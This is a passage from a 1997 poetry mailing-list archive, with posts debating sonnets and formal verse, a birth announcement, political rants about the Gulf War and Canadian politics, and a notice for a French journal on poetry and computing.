By the way, I stood there in the afternoon sunlight when Maya declaimed that poem -- and felt it came off well; (I mean, from that amid-the-crowd vantage, I quite enjoyed it (will admit) -- as suited to such public occasion, and rising to the dimensions of occasion admirably -- do I besmirch my name by the admission?)

In unlikely event anybody here tries this thing out, do let us know more, wontcha? (You could always have it read some poetics posts, for a lark, eh?)

d.i.

.

```
.....
............
\\\
```

the echoes of historical production
as those old European forms, which speak
to us because we've spoken them so often,
engraved them in a mental Norton-print:
verses of fourteen lines just "naturally"
remind us of a centuries-old practice
that has become inseparable from Voice,
or has decided for us what Voice is.

"A sonnet, one might say, ceases to be"

A sonnet, one might say, ceases to be
a sonnet when it ceases to remind
us of one: when the svelteness of its torso
dilates or dwindles in unlikely places
(and then, it arguably only ceases
to be a photogenic sonnet, no?);
or, alternately, when it is not flanked
by fellow poems similarly sculpted,
thus cancelling the cyclical effect;
or when it introduces formal features
that override its basic sonnet traits--
of course, such a scenario implies
it _is_ a sonnet, albeit one that
has forfeited its formal heritage.

"No language outside the ruin of form?"

No language outside the ruin of form?
Perhaps. Perhaps all discourse constitutes
a filling-in, or colonizing of,
the fossil shells of primal semiotics;
but is that really saying anything
other than that there's not that much to say?
And what's that have to do with whether sonnets
are "good" or not? Do you mean "good" in that
they rhyme ABBA, and that the turn
comes at the proper junction? or that they
demand of us a rigorous engagement
with principles we took for granted? If
the latter, I'm with you. But then again,
I kind of dig the former meaning too...

"I must in hande with my familiar for a newe stratageme."

↑ Index

245. Louis Cabri
Re: Machismo Bush Re: Machismo Harris
Sun 14 Dec 1997

Well said old bat. Boffo you beached pomflit. Hats off to your marauding pinkies--let them pray before Carny's voice-vat o squeelin skewerees. Stick them in your trouts. Then in your trousers. Sops on you, you lusty log husks. Peace be to your Fuller golfball. May the brush stroke one way. --And tips to your taxes, Albertans, dear dinos of bogfree futurity, you anti-wifty campaigners and trailor-camp invadors of the lost wool parka. Spread your rigs. Pass all ordinances now and be free: never more than one car per lane, never less than four lanes per road, never shall a road be like a speck of dirt in the Eye, nor shall a road be made crooked, for every crook shall seem straight as the shimmering facelift of green Aurora Borealis, quo vadis, bless your foothills, may you always find a shoe size without too much trouble at the store, and may your bunions not bequeath your children to allegorisis. --And here's to old pinch forker, the hairless, the bulbous Ontario, take my tearios for your ministries of compunction and swab the keg off, the froth is getting high, we won't be late for work--and may your peach trees jerk lemons, your Bay suits not iron well; may the teacher's strike wind through your tunnels and call forth the armies of concrete poets from their lead-line lairs to enbask in a dusky revel before Michael Snow's weather machine, may his name be forever multiplied unpredictably by his unilingual forecasters, I salute your nobs, always On, Ontario. Here's to your spam magnates, I've broken open a tin in your honour. --And here's to the North American Free Trade Pact, may the papers it is written on be replenished by well paid lawyers whenever we flip on Chanel. Today it's National Parking Day. Let's celebrate our tar squares flat and grey. Hooray! Hooray!

↑ Index

246. Mark Weiss
Re: Four Sonnets for Annie Finch
Sun 14 Dec 1997

I get it--any statement divided into groups of 14 lines of similar length
is a sonnet sequence. Hey! That's pretty easy!
[The foregoing is two linked haikai. Countem yrself]

At 06:30 PM 12/13/97 -0500, you wrote:
>Inclined Pole Where Tomorrow the Young Men
>
>What makes some forms more interesting to

>"New Formalist" poets than others? Would
>you see the formal challenges of the
>sonnet or villanelle, for example, as being
>of more "poetic value" (or more worthy of
>attention, or more relevant to our
>times, etc.) than, say, any of the hundreds
>of invented Oulipean procedural
>constraints, or any of the hundreds,
>for instance, of Jackson Mac Low's opera-
>tional creations? I believe you will
>say that no, there is nothing really
>intrinsically "better" about the
>old traditional forms, and answer thus:
>
>
>The Poem Itself is the Final Pudding
>
>But with so many poetic recipes at hand,
>and most of them of recent design, why
>do some "formalist" poets (a number
>of them on record as being rather
>arrogant about the whole thing) equate
>"formal feeling" with accentual sy-
>llabic strictures and old European
>stanzaic structures? I know it sounds trite,
>but sometimes I wonder if the content
>extending form or the form extending
>content (do you see a real difference?)
>goes deeper than the poem. I mean, you know,
>what is the dark-matter trunk of the sonnet
>form and the severed head of the Tutsi child?
>
>
>The Freedom That a Skeleton of Perceiving Has
>
>And where and when does a sonnet cease to
>be a Sonnet? For example, John Clarke, whose
>mentor, somewhat paradoxically,
>was Charles Olson, consistently crammed mass-
>ive amounts of cultural/historical
>matter into fourteen line poems that he called
>(and in no way ironically) "Sonnets." But

>his lines rarely scan iambically
>(though they are usually of ten sylla-
>bles, with frequent alexandrine substitutions)
>and end-rhyme is little employed. No, it's not free
>verse: It's iambs being pounded into dactyls
>and spondees. It's the quantum rocks of rhyme
>thrown up (and washed throughout the poem) to show
>
>[trailing couplet]
>
>the world beneath (world of bright insects and
>invisible maze-cities appearing).
>
>
>Are the Sonnets of Gioia Better Sonnets than the Sonnets of Clarke?
>
>And I don't mean "better poems" because I
>know the answer to that one. And Clarke, too,
>would have said, I believe, that his poems come
>from a "Formal Feeling," but a feeling
>with such a volume and head behind it
>that only the major shape of sonnet
>form is left. Like the ruins of a temple
>pounded by history. The sonnet is
>like that, and that is partly the point, I think,
>that the words and the syllables are like
>the waters and the winds that leave their in-
>scriptions _in the form_ of the ruins and
>give them their actual form. There is no
>language outside the ruin of form.
>
>best,
>Kent
>
>

↑ Index

247. Jordan Davis
Scairy
Sun 14 Dec 1997

Certainly it's important to create an enemy in order to rally the gnu. However, can we not create an up-to-date enemy? Brrragh says the gnu. Who is a horse befriended by a toad. They ride along the hillside and declare it Broadway!

Certainly it is important to argue with people who create enemies. However, can we not say to them that they must improve their manufactures or their subsidies will expire? Can't we at least insist that the hoaxes be as _inspiring_ as the best hoaxes of other times? Or is it important to settle for historical representation there, as well.

Smug hangs over LA and NY. Ambient critique. Broadway! Time for some ambient belt-tightening. No new dictionaries until reputation inflation comes down below 10%. Reviewers with bad credit exceeding 20% of their cultural capital will be allowed to go under. Regional development authorities must enforce term limits _at once_ or have their door fees abolished. The ratio of interpoet communication to infrapoet consultation should meet a target of four to one by Jan 1 2003. Poetics daily limit should be abolished, but no-mail should be suspended as well.

Sorry,
Volcker

↑ Index

248. David R. Israel
riff du jour
Sun 14 Dec 1997

"in the electric age rumors become news"
  - Marshall McLuhan

in the bardic age news became epic
in the electro age rumor became news
in the pinetree age birds became lyric
in the hermitage Is became yous

in the copper age roots became stews
in the delta age songs became blues
in the pepsi age oracles turned profits
in the parentage kids became crews

d.i.

↑ Index

249. L.MacMahon and T.R.Healy

new arrival

Sun 14 Dec 1997

At 07:35 GMT our long-awaited daughter, Beatrice, was born at home as planned. She and her mother, Louise, are both well and send love to you all.

Best wishes

Randolph Healy and family.

↑ Index

250. Jerry E. Fletcher

Re: Machismo Bush NOTE: Overly long and venemous diatribe of festering anger ...don't bother if your blood boils anytime one expresses negative opinions about the US. Or if you don't wish to remind yourself and become involved in your own unresolved anger about the Gulf and VN Wars.

Sun 14 Dec 1997

In message <[redacted]>, Harold Rhenisch <[redacted]> wrote:
> Jerry E. Fletcher wrote:
>
> >Personally, I think the quality of men's writing has gone down as their
> >political issues diminish...
>
> Do you mean that these political issues are diminishing or that men's
> perception or experience of or ability to frame these issues is
> diminishing?

a: Some, maybe most men, get most expressive about that which excites them most...war, violence, anger usually unresolved and ill directed, but war and politics in general get the blood boiling most. In these times, politics seems to have died or gone comatose, except for the right...and I mean the issues unresolved in the complexity of the last half of the decade...anger (again) in generally and specifically toward women, responsibility to biological and adopted children, experiencing and expressing emotions instead of burying them, appropriate (whatever that means) epression of those emotions (again, especially anger, male sexuality (impotence anyone?; prostate problems; penil cancer; responsibility for birth control---shared, various sexual relationships and behaviors vis-a-vis self, other males, women
>
> >nothing like a little war to get the machismo flowing, just as Bush.
>
> Is that what you mean by political issues?

Bush serves as one of the archetypes of this political age, especially in foreign policy and more specifically, third world nations with exploitable resources and nations in which the predominate power structure and culture is in the hands of people of color. We revel in an age where politics of all sorts become advertising and TV images (tho, not that much different in almost any era of US history in particular, and Western history in general, just a more powerful and pervasive image media than ever before...maybe invasive). Even more, Bush is the archetypical passive-aggressive who can only build his self esteem by acts such as the Gulf War...if one can credit that escapade with a meaningful word like war. It represents a false and shallow vision and continuation of the US tradition from Tripoli on to Iraq of skirmishes with those the leaders of the time feel both a disdain and ability to blow out of the water very quickly...anyone for the Spanish-American expansionist escapade, Dominican Republic, Grenada, Panama, and now, the Gulf, to mention but a few self-esteem building and asset building or "protection" excursions. Of course, history is replete with the Bush archetype, but it seems even more insidious when "weapons of mass destruction" are in the hands of such weak willed individuals and no front-end checks and balances exist to evaluate so-called threats. Often, the foolish event gets stopped, at of all places, the Pentagon. But, what is a military establishment to do in times of "peace" when the services are downsized and lots of 20+ men have no battle field experience and opportunity to obtain promotions, much less those with 10 years service who can only hope for some skirmish so rank may be conveyed...especially critical in the IBM of services, the Air Force. Besides, if one builds the most powerful weopons and military toys the world has ever seen, even when viewed in some sort of relative perspective toward the power and weaponry of the "great military powers" of other historical eras, one must show the damn penis off to get respect of other powers and fear of lesser nations considering some type of confrontation with the US.

>
> Personally, I'd say there are political issues, the political issues are
> being ignored, and that this is, among other things, a problem of poetics.
>
> I don't know how the Gulf War was perceived in the U.S.A. but up here in
> Canada it was perceived pretty cynically. That might be a political issue,
> but it is not machismo. Is it?

As an effort toward a better definition of machismo, machismo in and of itself is not all bad, only when expressed in overyly aggressive ways (overly, define? each person's choice, I would guess, but some sort of mean in the mix). Busch archetype, realizing any masculinity and "machismo" he may have been able to express is quickly fading as he passes from the politcal scene strikes out at some one, something, some nation viewed as weaker and available for bullying.

I've no love for Sadaam, who rates of the scale of sicko sadistic leaders along with Idi Amin, but one must have begrudging admiration for his ability to play the chess game of international politics, keeping at bay that military might that "destroyed" his army in short time. He points to the frailty of Bush Archetype vision of weakness.
>
> I'd be interested in hearing how the Gulf War was perceived in the U.S.A.
>

Coming from the school of extreme doubt any war was ever just, possible exception was the need to put back into remission the cancer of Hitler (remission, because of chronic outbreaks the world over (Pol Pot, Khmer Rouge), the Gulf War was just one more failure of the historical foreign adventurism, a waste of human and fiscal resources, an example of how we may be able to trigger major environmental catastrophe just by waving our spear and massing troops on the border of a very fragile environmental area, from which no recovery may be expected in my life-time (48 years) or the lives of my pre-teen and young teen, maybe their children and on and on. Of course, I see few, if any glimmers of support for non-violence in national politics and, not being in academic circles, and find only remnents of the once proud, if not powerful, peace community and advocates that thread throughout US history. Vietnam---as a Vietnam Era Vetern of those who opposed and worked against that war, IMHO, only when the last of the generation who fought in VN and/or struggled in major and minor ways against that miserable chapter in US history is put to rest to mold and decay in the grave will the real healing of the Nation begin. Vietnam, I remain to this day obssessed by my revulsion for what the US did in that region. I cannot put to rest the anger against the "government", whatever that is, and , though employed by the same monster through grants most of my life, for the ghastly peeling away of any veneer of responsibility and leadership in the areas of human rights. Of course, the only lessons I see learned by the "establishment" is to hit the enemy with as much power as can be mustered, get in and out quickly, and keep the news media, both supportive of, and opposed to the action. Keep the cover on the damn thing, brag about exploits (the old body count, just depersonalized and sanitized), and pin the medals on our heroes (all while considering who's body bag contained the"unknown"soldier for the effort, always wondered if those caskets contained real body parts, or were just filled with gravel).

For me, the cold reminder of Vietnam, at once the most beautiful of Mall monuments, and the one that makes the most powerful statement about the travesty for war and the hurt it brings to both those who lost friends and loved ones, but to the Nation as a whole. And, it represents a refreshing moment in design selection for Mall war memorials. Designed by a woman of Asian descent...such

irony the latter. May the American Legionaires and others who opposed the building of the memorial continue to choke on their own blubbering spittle.

An almost mute, and overyly wordy, citizen in the prison compound of South Carolina (figurative prison, please).

Jerry.=

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251. Jerry E. Fletcher
Re: invitation to women writers
Sun 14 Dec 1997

In message <[redacted]>, Mark Weiss <[redacted]> wrote:
>You wrote,
>
> Must be differences in the structure of the hippocampus that accounts for
> this. Or maybe in the visual cortex. Or maybe it's a matter of hormones. Or
> maybe it's learned behavior, and Wordsworth is different because after his
> mother's death he insisted on wearing a dress in her memory. Or maybe this
> just isn't remotely correct.
>
Who knows...maybe a big load of cow dung mixed with millenial male feces.=

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252. Susan Schultz
Re: new arrival
Sun 14 Dec 1997

Congratulations, Randolph and Louise!

On Sun, 14 Dec 1997, L.MacMahon and T.R.Healy wrote:

> *At 07:35 GMT our long-awaited daughter, Beatrice, was born at home as planned. She and her mother, Louise, are both well and send love to you all.*
>
> *Best wishes*
>
> *Randolph Healy and family.*

Susan M. Schultz
Dept. of English
1733 Donaghho Road

University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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253. Annie Finch

A Dactylic Tetramete-Based Envelope Quatrain, Followed by a Passage of Prose, for Kent Johnson

Sun 14 Dec 1997

A Dactylic Tetrameter-Based Envelope Quatrain, Followed by a Passage of Prose, for Kent Johnson

Kent, since you ask (though implicitly--thank you) if
I have been privileging "traditional" forms in my
efforts to encourage the writing of form-poems, I
will tell you that thanks to a long-drawn-out tiff

on the subject of form that took place on this list eighteen months ago, I have already changed my ideas on the subject considerably. In editing Formal Feeling, I used a definition of formal poetry as "poems structured by the conspicuous repetition of any language-element." This definition does indeed encompass many Oulipian forms and Maclovian forms, and if you look at that book I edited you'll see that a "formal feeling" to me at that time (1994) included chants, unmetrical rhymed forms, pun-based poems, and in general a much broader range of forms than would be accepted by most "new formalists" (with whom my split, if one was necessary, probably started in the anthologizing of that book).

Since then my definition of form, as I said, has changed still further. I found that the word "conspicuous" incited heated resistance on this very list in the spring of 1996. People were talking about the poems structured by the repetition of imperceptible language elements, private forms, etc.., as equally worthy of being called "formal." I had a hard time with this at first, as a lot of my own "formal feeling" has to do with the physically perceptible, physically pleasurable repetition of language. But finally I did change my mind. I found that for me the continuum of poetry,its essential unity as a way of "forming" language, was more important than drawing aesthetic lines in the sand (to evoke another simultaneous thread). I began to see the other point of view, and I decided to put my new point of view to work in the editing of a new anthology on form I was putting together.

The new anthology (tentatively entitled An Exaltation of Forms) ended up including not only sections on Oulipian forms and a section by Jackson MacLow along with sections on traditional classical and European forms and forms of Asian, Native American, and African-American origin, but also sections on free verse, found poetry, and other forms that have no basis in conspicuous repetition, where the repeated element may be nothing more than the line-break or white space. (Yes, there is a section by Anthony Hecht. Among others by people who would be stocked in Ron's favorite bookstore-- Paul Hoover, Keith Tuma, Aldon Neilsen, Charles Bernstein.)

Simultaneously with this book, I will be publishing a collection of essays on poetics by a similarly wide range of poets. So you see I have, though I know I am not typical of new formalists and in fact no longer consider myself to be one, been making efforts to deal with many of the questions you raise in your sonnets.

It is significant, though, I think, that when I sent out repeated calls to this list for people to edit sections on any "forms" of poetry at all, I got very few responses except from people pulling out sestinas they had hidden in the drawer. This got me thinking that aside from MacLow and the Oulipians (many of whose poems would in fact be formal by my original definition, since they are structured by conspicuous repetition of language-elements: a large number of MacLow's poems, for instance, are chants, or else variations on forms like the triolet or pantoum that repeat lines in varying patterns)--there is perhaps not as much to be done with experimental forms as experimental poets would like to believe.

I would love for someone to make a lyre out of me on this issue and come up with unconceived-of ways to arrange language into forms. It will be too late for the upcoming anthology--not due to any lack of trying on my part--but maybe someone else can take over from there.

Annie

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

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254. KENT JOHNSON
Re: Four Sonnets for Annie Finch
Sun 14 Dec 1997

Thanks, Kasey, for the interesting responses. My own to yours are interspersed below.

On 13 December, Kasey Silem Mohammad Hicks wrote:

> *Four Sonnets for Kent Johnson*
>
> "*What makes some forms more interesting to*"
>
> *What makes some forms more interesting to*
> *"New Formalists" (though I'm not one of those),*
> *specifically, e.g., the sonnet, has*
> *to do not only with the metrics, line-*
> *length, stanza-distribution, and so forth,*
> *but also with the complex range of moods*
> *evoked by literary history*
> *and the awareness of tradition. Forms*

This was the point I was hinting at--that proficient performances of prosody do not equal (or even necessarily open onto) a complex engagement with literary history or a critical grappling with the tradition. Just the opposite is often the case, and I suppose I _was_ suggesting that this opposite seemed generally the case with much of the current fascination for pre-20th cent. European forms. It's a complicated issue, to be sure, but poetic forms, cultural products that they are, are implicated messily in history, and part of their unfolding history (ies) also involves their use to erase those deeper implications. I'm not making any new points here (actually, I'm more or less glossing John Berger's arguments about how the "use" of painting in capitalist culture contributes to a mystification of history), but it seemed worth broaching the issue (i.e. "what is the common dark-matter trunk of the sonnet form and the severed head of the Tutsi child?") because some of the New Formalist poets and their defenders at the New Criterion and elsewhere like to give the impression that those not them are mainly just poetasters with no serious interest in "tradition."

> *we recognize because we know their _use_--*
> *their application in remembered texts--*
> *have resonances stronger than the nonce-*
> *forms generated arbitrarily*
> *by methods such as you enumerate*
> *(Mac Low's experiments, etc.).*

However, Mac Low's "nonce-forms" are very often "applications _in remembered texts_," and his complex systems are often laden with resonances of tradition. Oulipean or Mac Lowean systems are, of course, importantly arbitrary but ultimately no less so than the application of fourteen iambic lines in three rhyming quatrains and a couplet.
>

>
>
> "And that is not to denigrate Mac Low,"
>
> And that is not to denigrate Mac Low,
> or other innovators, whose inventions
> have already begun to constitute
> a "genre" with its own familiar surface,
> one which provides a spur for further work,
> but not as fully saturated with
> the echoes of historical production
> as those old European forms, which speak
> to us because we've spoken them so often,
> engraved them in a mental Norton-print:

Precisely. A Norton-print...

> *verses of fourteen lines just "naturally"*
> *remind us of a centuries-old practice*
> *that has become inseparable from Voice,*
> *or has decided for us what Voice is.*

Yes, we are certainly agreeing here!

> *"A sonnet, one might say, ceases to be"*
>
> *A sonnet, one might say, ceases to be*
> *a sonnet when it ceases to remind*
> *us of one: when the svelteness of its torso*
> *dilates or dwindles in unlikely places*
> *(and then, it arguably only ceases*
> *to be a photogenic sonnet, no?);*
> *or, alternately, when it is not flanked*
> *by fellow poems similarly sculpted,*
> *thus cancelling the cyclical effect;*
> *or when it introduces formal features*
> *that override its basic sonnet traits--*
> *of course, such a scenario implies*
> *it _is_ a sonnet, albeit one that*
> *has forfeited its formal heritage.*

If I'm reading you right, this relates to my point about Clarke: that there is a kind of liminality to his entering of the sonnet so as to chisel away at it from the inside--an "overriding of basic traits" as necessary to a revealing of the overdeterminedness of its history. It's in that sense that I would see Clarke as arguably writing "truer" sonnets than most of those who are quick and expert in mimicking its prosodic rituals.

> *"No language outside the ruin of form?"*
>
> *No language outside the ruin of form?*
> *Perhaps. Perhaps all discourse constitutes*
> *a filling-in, or colonizing of,*
> *the fossil shells of primal semiotics;*
> *but is that really saying anything*
> *other than that there's not that much to say?*

No! There is still everything left to say...

> *And what's that have to do with whether sonnets*
> *are "good" or not? Do you mean "good" in that*
> *they rhyme ABBA, and that the turn*
> *comes at the proper junction? or that they*

(see above, and yes on the below.)

> *demand of us a rigorous engagement*
> *with principles we took for granted? If*
> *the latter, I'm with you. But then again,*
> *I kind of dig the former meaning too...*
>
> ---
> *"I must in hande with my familiar for a newe stratageme."*

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255. KENT JOHNSON
Re: Four Sonnets for Annie Finch
Sun 14 Dec 1997

On 13 Dec. Mark Weiss wrote:

> *I get it--any statement divided into groups of 14 lines of similar length*
> *is a sonnet sequence. Hey! That's pretty easy!*
> *[The foregoing is two linked haikai. Countem yrself]*

Well, actually Mark, you didn't get it, and if you keep misreading me like this, why, I'll just have to bring up Neruda's NKVD connections with you all over again!

My point was _the opposite_: Forms are much more than the rules which "define" them. And that, my man, is not a difficult point to get!

Kent
>
> At 06:30 PM 12/13/97 -0500, you wrote:

> >Inclined Pole Where Tomorrow the Young Men
> >
> >What makes some forms more interesting to
> >"New Formalist" poets than others? Would
> >you see the formal challenges of the
> >sonnet or villanelle, for example, as being
> >of more "poetic value" (or more worthy of
> >attention, or more relevant to our
> >times, etc.) than, say, any of the hundreds
> >of invented Oulipean procedural
> >constraints, or any of the hundreds,
> >for instance, of Jackson Mac Low's opera-
> >tional creations? I believe you will
> >say that no, there is nothing really
> >intrinsically "better" about the
> >old traditional forms, and answer thus:
> >
> >
> >The Poem Itself is the Final Pudding
> >
> >But with so many poetic recipes at hand,
> >and most of them of recent design, why
> >do some "formalist" poets (a number
> >of them on record as being rather
> >arrogant about the whole thing) equate
> >"formal feeling" with accentual sy-
> >llabic strictures and old European
> >stanzaic structures? I know it sounds trite,
> >but sometimes I wonder if the content
> >extending form or the form extending
> >content (do you see a real difference?)
> >goes deeper than the poem. I mean, you know,
> >what is the dark-matter trunk of the sonnet
> >form and the severed head of the Tutsi child?
> >
> >
> >The Freedom That a Skeleton of Perceiving Has
> >
> >And where and when does a sonnet cease to
> >be a Sonnet? For example, John Clarke, whose
> >mentor, somewhat paradoxically,
> >was Charles Olson, consistently crammed mass-

> >ive amounts of cultural/historical
> >matter into fourteen line poems that he called
> >(and in no way ironically) "Sonnets." But
> >his lines rarely scan iambically
> >(though they are usually of ten sylla-
> >bles, with frequent alexandrine substitutions)
> >and end-rhyme is little employed. No, it's not free
> >verse: It's iambs being pounded into dactyls
> >and spondees. It's the quantum rocks of rhyme
> >thrown up (and washed throughout the poem) to show
> >
> >[trailing couplet]
> >
> >the world beneath (world of bright insects and
> >invisible maze-cities appearing).
> >
> >
> >Are the Sonnets of Gioia Better Sonnets than the Sonnets of Clarke?
> >
> >And I don't mean "better poems" because I
> >know the answer to that one. And Clarke, too,
> >would have said, I believe, that his poems come
> >from a "Formal Feeling," but a feeling
> >with such a volume and head behind it
> >that only the major shape of sonnet
> >form is left. Like the ruins of a temple
> >pounded by history. The sonnet is
> >like that, and that is partly the point, I think,
> >that the words and the syllables are like
> >the waters and the winds that leave their in-
> >scriptions _in the form_ of the ruins and
> >give them their actual form. There is no
> >language outside the ruin of form.
> >
> >best,
> >Kent
> >
> >
>

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256. Mark Weiss
Re: invitation to women writers
Sun 14 Dec 1997

Jerry: I don't know that I get your drift. Am I supposed to be offended? At any rate, fyi, while gender can often be determined from minimal skeletal remains, as far as I know shit has no gender, whatever its age. I do think that referring to women as cows is uncalled for.

At 10:21 PM 12/14/97 GMT, you wrote:
>In message <[redacted]>, Mark
Weiss <[redacted]> wrote:
>>You wrote,
>>
>> Must be differences in the structure of the hippocampus that accounts for
>> this. Or maybe in the visual cortex. Or maybe it's a matter of hormones. Or
>> maybe it's learned behavior, and Wordsworth is different because after his
>> mother's death he insisted on wearing a dress in her memory. Or maybe
this
>> just isn't remotely correct.
>>
>Who knows...maybe a big load of cow dung mixed with millenial male feces.
>
>

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257. Jerry E. Fletcher
Re: invitation to women writers
Sun 14 Dec 1997

In message <[redacted]>, Patricia Cockram <[redacted]> wrote:

> Yeah. I miss carburators. I used to be able to work on my own car; now I
> a) don't have one any more and b) wouldn't be able to tune it up if I did.
> Patricia
>
A. You are blessed. B. They don't need tuning as often. C. There is no romance to cars...only more money, more features, more, more, more to buy. D. Cars today are less trouble, but difficult for the regular person to much but change oil (?) E. You are blessed not to have one, and very ecological in your presence on Earth...if that matters anymore.

Jerry.

Jerry.=

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258. Harold Rhenisch
Re: anti-union? You bet!
Sun 14 Dec 1997

Dick Nixon, the learned elders on both the HUAC and
McCarthy's subcommittee, the US right wing, Rush...

geez, will it never end.

How many megabytes are you allowed on Geocities.com, Bob?

And what about the taxonomy?

Would it be Suppressopoetica? As a sub-form of Formica?

:-)

By the way, Bob, your site is looking great! I've been looking for someone to do that kind of taxonomy for decades. Keep up the good work.

I feel so guilty not filling out your form. I'll do it, I promise, I promise.

-- Harold Rhenisch

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259. Jerry E. Fletcher
Re: anti-union? You bet!
Sun 14 Dec 1997

In message <[redacted]>, Harold Rhenisch <[redacted]> wrote:
> Douglas Barbour said:
>
> >>And that 'guy' -- the premier of Ontario -- is just following, but more
> stupidly, the route followed, with great success, by Alberta's folksy
> fascist Ralph Klein. Of course, out here, the excuse was the need to cut
> cut cut (salaries for unionized government workers; health care, education,
> etc) to get rid of a huge deficit; after three years of multi-billion
> dollar surpluses, this argument is a little worn but they fight on against
> such 'special interest groups' (like the teachers of Ontario, it seems) as
> everyone but their good friends in big (& multinational) business.<<
>
> Folksy fascist. Well said!
>
> I like that 'special interest group' thing: the entire population can be
> dismissed with three words. Better yet, that dismissed population seems to

> accept it, or has not found a way to combat it. Worse yet, each member of
> the population has been isolated from all the rest. All with 3 words.

Is this new? Seems Dick Nixon summed it up in one word...Communist...well learned and worn word learned form his learned elders on both the HUAC and McCarthy's subcommittee. Then, a new one word smear appeared to describe "them"....Liberal...I used to be one, then they made me a Radical. The US right wing cornered the maket on minimalist poetry long ago...anything Rush doesn't like is "Liberaaaaaal". Anything that fits his label is bad. Liberals and there ideas are bad...Just wish this Xmas for a minimalist Rush...
>
> Maybe Bob Grumman should put Ralph Klein on his minimalist poetry site.
> Whatcha say, Bob?
>
> -- Harold Rhenisch
> [redacted]
>

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260. Jerry E. Fletcher
Re: Diction
Sun 14 Dec 1997

In message <l03102800b0b71ed4527e@[129.237.129.120]>, Judy Roitman
<[redacted]> wrote:
> Wowee zowee, I just got an ad for a computer program called Diction 4.0,
> which is "a scientific method for determining the tone of a verbal message

Hmm...how about detecting anger, irony, and on....?
> for five general features as well as thirty-five sub-features." These five
> features are: certainty, activity, optimism, realism, and commonality. And
> so on.
>
> Comes from a guy in the depts. of communications (natch) & government at UT
> Austin.

Hey, non-functional journalists with prediliction for bureacracy hafta make a living. Austin has gotten to be an expensive place to keep up with everyone else...especially as it becomes Silicon rift II. Will someone please explain why so many computer industries love to locate near fault lines (Balcones Faultline, Austin area...not very active, but potential...)
>
> Have no idea how I got on this particular mailing list and sure can't

> afford the $$ or time to check into this, but has anyone used stuff like
> this? It seems so...so.... bizarre.

ATTENTION: You have a "cookie" it will travel with you throughout your Cyber existance at this address and/or current organic life form. We promise to give your email address and what you do when on the Net to all who pay 19.95 per month for our list. Now you know how you got on the list.
>
> (By the way, Maya Angelou's so-called poem for Clinton's inauguration is
> one of the sample texts included, as are speeches by Clinton, Nixon, and
> Dole, as well as "several other interesting passages." Indeed.)
Stilted, stuffy, expansive...diction. Harry Higgins, where are you?
>=

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261. Maria Damon
Re: new arrival
Sun 14 Dec 1997

At 9:10 PM +0000 12/14/97, L.MacMahon and T.R.Healy wrote:
>At 07:35 GMT our long-awaited daughter, Beatrice, was born at home as
>planned. She and her mother, Louise, are both well and send love to you all.
>
>Best wishes
>
>Randolph Healy and family.

what a treat and pleasure it is to welcome a new person into the world. joy to you. bests, maria d

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262. Hugh Steinberg
Re: Four Sonnets for Annie Finch
Mon 15 Dec 1997

Mark writes:

> *If the form isn't recognizable why do some poets persist in calling some of their poems sonnets? No one writes vilanelles that are vilanelles in a metaphysical sense, or because they "feel" like vilanelles. The sonnet has a different kind of prestige and the idea of the sonnet a force which seems to me to be quite different in different poets who call their unrhymed poems sonnets. Historically it's been different enough in those who did it the old-fashioned way. There may in fact not be a generalization derivable from the range of such work that would be in any sense definitive.*

> *Or maybe there is, but it better be a lot more convincing than that it feels formal.*

I'm not so sure I agree with this, largely because some forms are a lot more apparant than others. It's easy to recognize that a vilanelle has a formal pattern. But how about something like blank verse, which has quite an honorable pedigree, but can (especially to someone who doesn't know anything about scansion) be formally almost transparent? And for a lot of nonce forms, the pattern is even harder to find. Sometimes a "feeling" is all a reader has when encountering a particular form.

Hugh Steinberg

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263. John Cayley
poesie[sous rature] & informatique
Mon 15 Dec 1997

*** apologies for any cross-postings ***

Just received:

(soft) DOC(K)S[sous rature] Series 3 nos. 13/14/15/16 (Fall 1997)
+
aLire 10

"Poesie & Informatique"

255 pp. Lots of visual material. 25x17 cm. Paperback, with a CD ROM.

250 French Francs from:

DOC(K)S
20 rue Bonaparte
F 20 000 Ajaccio
France
Tel: 95 21 32 90; Fax: 95 21 32 09
Email: [redacted]

perhaps also available from:

aLire
Philippe Bootz
27 allée des Coquelicots
59650 Villeneuve d'Ascq
France
Email: [redacted]

Substantial (quadruple issue) assemblage (mixed bag) of material relating to what I prefer to call 'Poetics in Programmable Media'. The perspectives and engagements of the French/European/non-anglophone/international practitioners is a necessary corrective to the current domination of USA-Net-centric 'classic hypertext' in this emergent field of Writing, so this collection is well worth exploring.

On paper: Akenaton, Balpe, Barbosa, Baroni, Blaine, Bootz, Borillo, Castellin, Chamalin, Courtaud, Daniel, De Campos, De la Pezuela, Dencker, Doctorovich, Donguy, Echenique, Eckmeyer, Ferdinande, Ferrare, Fiatte, Fierens, Frangione, Giachi, Ginzburg, Globensky, Gualtieri, Gyori, Koller, Kayser, Lenzy, Lijn, Loizillon, Mac Naughton, Maggi, Maillard, Marc Etienne, Meyer, Murphy, Nanucci, Ozorsky, Padin, Pan, Papp, Peloquin, Scherb, Serandour, Soules, Sproccati, Tardy, Thibat, Tilier, Tilman, Tolsty, Torregrosa, Vuillemin, Younes, Zelevansky

CD Gallery: Astrid,Berard/Castellin, Chamalin, Courtaud, Dencker, Diot Allevi, Doctorovich, Febrero, Ferdinande, Ferrare, Fierrens, Frangione, Gualtieri, Lijn, Maillard, Murphy, Padin, Papp, Soule, Tardy, Thibat, Tillier, Tolsty

CD (Hypertextual/Animations/Kinetic/Generative) Akenaton, Balpe, Barbosa, Bootz, Burgaud, Cayley, De Asen, De Campos, Doctorovich, Donguy/Loizillon, Dos Santos, Dutey/Sautiere, Giacchi, Gyorgy, Kac, Kalejevsky, Magne, Marc Etienne, Papp/Maillard, Peloquin, Petchanatz, Rosenberg, Scherb, Serandour, Tardy, Tillier, Zelevansky

Doc(k)s[sous rature] (ISSN 0396-3004) appears to be edited by Julien Blaine, Philippe Castellin, Jean Torregosa with ('spectres familiers'): B. Ferrando, Pierre Garnier, Jean Monodo, Tom Raworth, Jean-Charles Vegliante.

aLire (ISSN 1260-87750) whose collaboration in this publication comprises its 10th (! check out the earlier stuff) issue of poetique/informatique, is edited by Philippe Bootz and Tibor Papp.

(I hope I've got these details right, but the good-to-high production values of the publication are enlivened by, as it were, poeto-ludic editorial[sous rature] which requires extensive (de/re)construction.)

Joyeux Noel!

John

